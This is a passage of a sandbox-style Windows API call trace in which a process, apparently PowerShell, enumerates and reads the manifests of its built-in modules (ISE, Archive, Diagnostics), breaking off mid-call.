[0173.116] ReadFile (in: hFile=0x44c, lpBuffer=0x22c5082, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22c5082*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.116] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x75e [0173.116] ReadFile (in: hFile=0x44c, lpBuffer=0x22c5990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22c5990*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.116] CloseHandle (hObject=0x44c) returned 1 [0173.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.118] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0173.118] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0173.118] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.119] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.119] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91991780, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x91991780, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x4209d5bf, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="ise.psd1", cAlternateFileName="")) returned 1 [0173.119] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911aeea0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x911aeea0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x4209d5bf, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x3474, dwReserved0=0x0, dwReserved1=0x0, cFileName="ise.psm1", cAlternateFileName="")) returned 1 [0173.119] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911aeea0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x911aeea0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x4209d5bf, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x3474, dwReserved0=0x0, dwReserved1=0x0, cFileName="ise.psm1", cAlternateFileName="")) returned 0 [0173.119] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.124] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0173.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0173.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", lpFilePart=0x0) returned 0x3f [0173.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0173.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", lpFilePart=0x0) returned 0x3f [0173.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.125] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22cd460 | out: lpFileInformation=0x22cd460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91991780, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x91991780, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x4209d5bf, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x208)) returned 1 [0173.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0173.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1", lpFilePart=0x0) returned 0x3f [0173.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.126] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0173.126] GetFileType (hFile=0x450) returned 0x1 [0173.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.126] GetFileType (hFile=0x450) returned 0x1 [0173.127] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.127] ReadFile (in: hFile=0x450, lpBuffer=0x22ce230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22ce230*, lpNumberOfBytesRead=0x5a2e3b8*=0x208, lpOverlapped=0x0) returned 1 [0173.131] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x208 [0173.131] ReadFile (in: hFile=0x450, lpBuffer=0x22ce230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22ce230*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.132] CloseHandle (hObject=0x450) returned 1 [0173.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0173.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0173.133] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.134] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.134] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0173.134] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1a8e27, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive.psd1", cAlternateFileName="")) returned 1 [0173.134] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d783500, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8d783500, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1de9cd, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x19bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive.psm1", cAlternateFileName="")) returned 1 [0173.134] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d783500, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8d783500, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1de9cd, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x19bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive.psm1", cAlternateFileName="")) returned 0 [0173.134] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.135] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0173.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0173.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", lpFilePart=0x0) returned 0x71 [0173.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0173.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", lpFilePart=0x0) returned 0x71 [0173.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.136] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22d37b0 | out: lpFileInformation=0x22d37b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1a8e27, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x1c8)) returned 1 [0173.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0173.137] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", lpFilePart=0x0) returned 0x71 [0173.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.137] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0173.137] GetFileType (hFile=0x450) returned 0x1 [0173.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.138] GetFileType (hFile=0x450) returned 0x1 [0173.138] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.138] ReadFile (in: hFile=0x450, lpBuffer=0x22d45e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22d45e0*, lpNumberOfBytesRead=0x5a2e3b8*=0x1c8, lpOverlapped=0x0) returned 1 [0173.142] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x1c8 [0173.142] ReadFile (in: hFile=0x450, lpBuffer=0x22d45e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22d45e0*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.142] CloseHandle (hObject=0x450) returned 1 [0173.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0173.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0173.145] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.145] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.146] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e37f4, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0173.146] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e37f4, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0173.146] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.146] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0173.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x7a [0173.147] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x7a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", lpFilePart=0x0) returned 0x79 [0173.147] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x7a [0173.147] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x7a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", lpFilePart=0x0) returned 0x79 [0173.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.147] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22d94b4 | out: lpFileInformation=0x22d94b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e37f4, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x288)) returned 1 [0173.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.148] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x7a [0173.148] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x7a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", lpFilePart=0x0) returned 0x79 [0173.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.148] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0173.148] GetFileType (hFile=0x450) returned 0x1 [0173.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.149] GetFileType (hFile=0x450) returned 0x1 [0173.149] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.149] ReadFile (in: hFile=0x450, lpBuffer=0x22da2f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22da2f4*, 